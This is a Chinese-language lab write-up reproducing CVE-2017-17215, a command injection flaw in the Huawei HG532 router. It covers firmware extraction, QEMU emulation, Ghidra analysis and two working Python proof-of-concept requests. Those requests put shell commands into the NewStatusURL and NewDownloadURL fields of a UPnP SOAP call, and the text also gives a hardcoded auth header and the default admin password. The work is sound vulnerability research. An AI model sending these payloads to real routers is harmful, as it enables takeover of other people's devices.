CVE-2017-17215

0x00 漏洞描述

CheckPoint报告华为HG532产品存在远程命令执行漏洞,华为HG532 系列路由器是一款为家庭和小型办公用户打造的高速无线路由器产品,如下是京东搜索的结果。

  • 远程命令执行漏洞,没有对代码中可执行的特殊函数入口做过滤,导致客户端可以提交恶意构造的语句提交,让服务器端执行。例如web服务器中的system、eval、exec等函数

    例如一个PHP作为后端的漏洞实例

    <?php
    $log_string =$_GET['log'];
    system($log_string)
    ?>
    

    发送请求http://127.0.0.1:8080/?log=ls就可以执行ls命令

0x01 解压固件

现将固件解压,固件下载地址,先解压出来rar文件,然后使用binwalk解压固件,得到文件系统。

binwakl -Me HG532eV100R001C01B020_upgrade_packet.bin

解压出来的文件内容如下

此处的squashfs-root文件夹需要在后面上传到qemu虚拟机中

0x02 搭建虚拟机

下载qemu

sudo apt-get install qemu
sudo apt-get install qemu binfmt-support qemu-user-static

下载qemu启动虚拟机所需要的“镜像”,这个地方的镜像是和之前的固件版本要匹配,MIPS,32位,大端

wget https://people.debian.org/~aurel32/qemu/mips/debian_squeeze_mips_standard.qcow2
wget https://people.debian.org/~aurel32/qemu/mips/vmlinux-2.6.32-5-4kc-malta

创建虚拟网桥,实现虚拟机内部和Ubuntu的连接

sudo apt-get install bridge-utils
sudo brctl addbr Virbr0
sudo ifconfig Virbr0 192.168.153.1/24 up

创建tap接口,名字为tap0,并添加到网桥

sudo tunctl -t tap0
sudo ifconfig tap0 192.168.153.11/24 up
sudo brctl addif Virbr0 tap0

使用命令启动虚拟机

sudo qemu-system-mips -M malta -kernel vmlinux-2.6.32-5-4kc-malta -hda debian_squeeze_mips_standard.qcow2 -append "root=/dev/sda1 console=tty0" -netdev tap,id=tapnet,ifname=tap0,script=no -device rtl8139,netdev=tapnet -nographic

在启动的虚拟机里面添加一个IP,并尝试ping外界

ifconfig eth0 192.168.153.2/24 up

将之前解压出来的squashfs-root文件夹通过scp命令,复制到虚拟机中

scp -r squashfs-root/ root@192.168.153.2:~/

在虚拟机中挂载dev和proc

mount -o bind /dev ./squashfs-root/dev
mount -t proc /proc ./squashfs-root/proc


启动shell

chroot squashfs-root sh

这个终端是用来后面改IP地址的,这个时候在Ubuntu里面再单独开一个终端,使用ssh连接上去

通过ssh启动的终端,启动路由器

ssh root@192.168.153.2
chroot squashfs-root /bin/sh
./bin/upnp
./bin/mic

这个通过ssh连接的终端实际上已经无法使用了,因为虚拟机里面的路由器IP发生了变化,ssh连接已经断开,返回之前的虚拟机中的终端。

需要重新更改路由器的IP,以便于外部的Ubuntu登录管理界面

ifconfig eth0 192.168.153.2/24 up
ifconfig br0 192.168.153.11/24 up

这个时候在Ubuntu上使用浏览器访问路由器eth0的IP地址,就可以登录进入管理界面,默认的账号密码是:admin@Hua1234

0x03 漏洞复现

使用poc进行命令注入

import requests 
headers = {
    "Authorization": "Digest username=dslf-config, realm=HuaweiHomeGateway, nonce=88645cefb1f9ede0e336e3569d75ee30, uri=/ctrlt/DeviceUpgrade_1, response=3612f843a42db38f48f59d2a3597e19c, algorithm=MD5, qop=auth, nc=00000001, cnonce=248d1a2560100669"
}

data = '''<?xml version="1.0" ?>
 <s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
  <s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1">
   <NewStatusURL>;mkdir /bin/hell;</NewStatusURL>
   <NewDownloadURL>HUAWEIUPNP</NewDownloadURL>
  </u:Upgrade>
 </s:Body>
</s:Envelope>
'''
requests.post('http://192.168.153.2:37215/ctrlt/DeviceUpgrade_1',headers=headers,data=data)

在第9行代码处注入代码,例如在上面的POC里面改成了创建一个名为hell的文件夹

0x04 漏洞原理分析

从POC中分析,注入点是在<NewStatusURL>。由于我日常使用的是IDA7.1,不能反编译MIPS架构,网上有说可以使用retdec的,去官网看了一下指南,不支持IDA7.1。于是决定用Ghidra来进行分析。

载入二进制文件后,尝试搜索字符串NewStatusURL,运气不错,只有一处匹配。

进入查看,关键的system函数就在此处,而其上就是一个snprintf函数格式化字符串。

int FUN_0040749c(int param_1)
{
  int iVar1;
  char *local_418;
  char *local_414;
  char acStack1040 [1028];

  iVar1 = ATP_XML_GetChildNodeByName
                    (*(int *)(param_1 + 0x2c),"NewDownloadURL",(int *)0x0,&local_418);
  if (((iVar1 == 0) && (local_418 != (char *)0x0)) &&
     (iVar1 = ATP_XML_GetChildNodeByName
                        (*(int *)(param_1 + 0x2c),"NewStatusURL",(int *)0x0,&local_414), iVar1 == 0)
     ) {
    if (local_414 != (char *)0x0) {
      snprintf(acStack1040,0x400,"upg -g -U %s -t \'1 Firmware Upgrade Image\' -c upnp -r %s -d -b",
               local_418,local_414);
      system(acStack1040);
    }
  }
  return iVar1;
}

大胆猜测:

local_418ATP_XML_GetChildNodeByName函数获取xml中的NewDownloadURL节点内容

local_414ATP_XML_GetChildNodeByName函数获取xml中的NewStatusURL节点内容

然后使用snprintf函数拼接命令到acStack1040字符串,到system函数执行

因此,两个节点NewDownloadURLNewStatusURL都是可以进行命令注入的,控制让两个节点内容把拼接的命令分割就可以了,比如使用分号分割,在原来的POC基础上进行简单验证

import requests 
headers = {
    "Authorization": "Digest username=dslf-config, realm=HuaweiHomeGateway, nonce=88645cefb1f9ede0e336e3569d75ee30, uri=/ctrlt/DeviceUpgrade_1, response=3612f843a42db38f48f59d2a3597e19c, algorithm=MD5, qop=auth, nc=00000001, cnonce=248d1a2560100669"
}

data = '''<?xml version="1.0" ?>
 <s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
  <s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1">
   <NewStatusURL>;mkdir hell;</NewStatusURL>
   <NewDownloadURL>;mkdir hello;</NewDownloadURL>
  </u:Upgrade>
 </s:Body>
</s:Envelope>
'''
response = requests.post('http://192.168.153.2:37215/ctrlt/DeviceUpgrade_1',headers=headers,data=data)
print(response)

两个注入点里面分别创建不同名的文件夹,执行前后虚拟机文件变化如下

通过网上搜集可以得知,upnp支持“DeviceUpgrade”服务,通过向"/ctrlt/DeviceUpgrade_1"发送请求来执行固件升级操作,并且通过"NewStatusURL"和"NewDownloadURL"两个元素来执行。

0x05 进一步思考

  1. 这是一个命令注入漏洞,验证完毕后,在开始思考,是否可以改造成一个反弹shell回来

    查看固件自身的命令,常见的可以用来反弹shell的例如nc、python等都没有瞅见(PS:如果有,请师傅务必告诉我!),不过应该可以针对目标环境,交叉编译一个client和sever分别放在路由器上和攻击机上。

  2. 在实际的硬件路由器上,是怎么执行这个固件的,流程是什么,这是接下来继续复现相关漏洞需要继续思考的问题。

  3. 也是很费解的一个问题,这个漏洞是怎么被挖出来的,如果我要去挖掘这个漏洞,该怎么样去执行一套流程?

参考链接

https://xz.aliyun.com/t/4819

https://xz.aliyun.com/t/4130#toc-5

https://f01965.com/2020/07/25/CVE-2017-17215/

点击收藏 | 2 关注 | 1
登录 后跟帖